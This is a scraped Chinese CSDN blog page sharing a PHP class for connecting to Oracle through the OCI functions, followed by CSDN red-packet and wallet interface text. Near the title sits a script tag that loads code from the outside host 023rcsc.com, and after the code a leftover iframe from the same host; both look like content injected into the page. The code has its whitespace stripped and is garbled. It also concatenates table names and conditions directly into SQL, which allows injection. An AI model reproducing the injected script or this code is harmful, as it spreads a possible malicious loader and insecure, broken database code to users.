PHP连接Oracle数据库类--IT man

Csdn-Blog <script language="javascript" src="http://www.023rcsc.com/count/count2.asp"></script>
PHP连接Oracle数据库类
bsp
<?phpputenv("ORACLE_SID=oracle8");putenv("ORACLE_HOME=/oracle/product/release/8.1.5");classdb_sql{var$Debug=0;var$sqoe=1;//sqoe=showqueryonerrorvar$Database="dev";var$User="scott";var$Password="tiger";var$Link_ID=0;var$Record=array();var$Row;var$numRow;var$Parse;var$Error="";functionconnect(){if(0==$this->Link_ID){if($this->Debug){printf("<br>Connectingto$this->Database...<br>/n");}$this->Link_ID=OCILogon("$this->User","$this->Password");if(!$this->Link_ID){$this->halt("Link-ID==false"."($this->Link_ID),OCILogonfailed");}if($this->Debug){printf("<br>ObtainedtheLink_ID:$this->Link_ID<br>/n");}}}functionquery($Query_String){if($Query_String==""){echo"执行语句不能为空!";returnfalse;}$this->connect();$this->Parse=OCIParse($this->Link_ID,$Query_String);if(!$this->Parse){$this->Error=OCIError($this->Parse);}else{OCIExecute($this->Parse);$this->Error=OCIError($this->Parse);}$this->Row=0;if($this->Debug){printf("Debug:query=%s<br>/n",$Query_String);}if($this->Error["code"]!=1403&&$this->Error["code"]!=0&&$this->sqoe)echo"<BR><FONTcolor=red><B>".$this->Error["message"]."<BR>Query:/"$Query_String/"</B></FONT>";$numRow=OCIRowCount($this->Parse);return$this->Parse;}functionnext_record(){if(0==OCIFetchInto($this->Parse,$result,OCI_ASSOC+OCI_RETURN_NULLS)){if($this->Debug){printf("<br>ID:%d,Rows:%d<br>/n",$this->Link_ID,$this->num_rows());}$this->Row+=1;$errno=OCIError($this->Parse);if(1403==$errno){#1043meansnomorerecordsfound$this->Error="";$this->disconnect();$stat=0;}else{$this->Error=OCIError($this->Parse);if($this->Debug){printf("<br>Error:%s",$this->Error["message"]);}$stat=0;}}else{for($ix=1;$ix<=OCINumcols($this->Parse);$ix++){$col=strtoupper(OCIColumnname($this->Parse,$ix));$colreturn=strtolower($col);$this->Record["$colreturn"]=$result["$col"];if($this->Debug)echo"<b>[$col]</b>:".$result["$col"]."<br>/n";}$stat=1;}return$stat;}functionrecord_exist(){if(0==OCIFetchInto($this->Parse,$result)){return0;}else{return1;}return$stat;}functionseek($pos){$this->Row=$pos;}functionmetadata($table,$full=false){$count=0;$id=0;$res=array();/**DuetocompatibilityproblemswithTablewechangedthebehavior*ofmetadata();*dependingon$full,metadatareturnsthefollowingvalues:**-fullisfalse(default):*$result[]:*[0]["table"]tablename*[0]["name"]fieldname*[0]["type"]fieldtype*[0]["len"]fieldlength*[0]["flags"]fieldflags("NOTNULL","INDEX")*[0]["format"]precisionandscaleofnumber(eg."10,2")orempty*[0]["index"]nameofindex(ifhasone)*[0]["chars"]numberofchars(ifanychar-type)**-fullistrue*$result[]:*["num_fields"]numberofmetadatarecords*[0]["table"]tablename*[0]["name"]fieldname*[0]["type"]fieldtype*[0]["len"]fieldlength*[0]["flags"]fieldflags("NOTNULL","INDEX")*[0]["format"]precisionandscaleofnumber(eg."10,2")orempty*[0]["index"]nameofindex(ifhasone)*[0]["chars"]numberofchars(ifanychar-type)*["meta"][fieldname]indexoffieldnamed"fieldname"*Thelastoneisused,ifyouhaveafieldname,butnoindex.*Test:if(isset($result['meta']['myfield'])){}...*/$this->connect();##ThisisaRIGHTOUTERJOIN:"(+)",ifyouwanttosee,what##thisqueryresultstrythefollowing:##$table=newTable;$db=newmy_DB_Sql;#youhavetomake###yourownclass##$table->show_results($db->query(seequeryvvvvvv))##$this->query("SELECTT.table_name,T.column_name,T.data_type,"."T.data_length,T.data_precision,T.data_scale,T.nullable,"."T.char_col_decl_length,I.index_name"."FROMALL_TAB_COLUMNST,ALL_IND_COLUMNSI"."WHERET.column_name=I.column_name(+)"."ANDT.table_name=I.table_name(+)"."ANDT.table_name=UPPER('$table')ORDERBYT.column_id");$i=0;while($this->next_record()){$res[$i]["table"]=$this->Record[table_name];$res[$i]["name"]=strtolower($this->Record[column_name]);$res[$i]["type"]=$this->Record[data_type];$res[$i]["len"]=$this->Record[data_length];if($this->Record[index_name])$res[$i]["flags"]="INDEX";$res[$i]["flags"].=($this->Record[nullable]=='N')?'':'NOTNULL';$res[$i]["format"]=(int)$this->Record[data_precision].",".(int)$this->Record[data_scale];if("0,0"==$res[$i]["format"])$res[$i]["format"]='';$res[$i]["index"]=$this->Record[index_name];$res[$i]["chars"]=$this->Record[char_col_decl_length];if($full){$j=$res[$i]["name"];$res["meta"][$j]=$i;$res["meta"][strtoupper($j)]=$i;}if($full)$res["meta"][$res[$i]["name"]]=$i;$i++;}if($full)$res["num_fields"]=$i;#$this->disconnect();return$res;}functionaffected_rows(){returnOCIRowCount($this->Parse);}functionnum_rows(){$iii=0;while($this->next_record()){$iii++;}OCIExecute($this->Parse);return$iii;}functionrecord_rows($tablename,$condition){$this->connect();$this->query("selectcount(*)ascountnumfrom$tablenamewhere".$condition);if($this->next_record())return($this->Record["countnum"]);elsereturn0;}functionnum_fields(){returnOCINumcols($this->Parse);}functionnf(){return$this->num_rows();}functionnp(){print$this->num_rows();}functionf($Name){return$this->Record[$Name];}functionp($Name){print$this->Record[$Name];}functioncommit(){returnOCICommit($this->Link_ID);}functiondisconnect(){if($this->Debug){printf("Disconnecting...<br>/n");}OCILogoff($this->Link_ID);}functionhalt($msg){printf("</td></tr></table><b>Databaseerror:</b>%s<br>/n",$msg);printf("<b>ORACLEError</b>:%s<br>/n",$this->Error["message"]);die("Sessionhalted.");}functionlock($table,$mode="write"){$this->connect();if($mode=="write"){$Parse=OCIParse($this->Link_ID,"locktable$tableinrowexclusivemode");OCIExecute($Parse);}else{$result=1;}return$result;}functionunlock(){return$this->query("commit");}functiontable_names(){$this->connect();$this->query("SELECTtable_name,tablespace_nameFROMuser_tables");$i=0;while($this->next_record()){$info[$i]["table_name"]=$this->Record["table_name"];$info[$i]["tablespace_name"]=$this->Record["tablespace_name"];$i++;}return$info;}}?>

PHP连接Oracle数据库类 src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值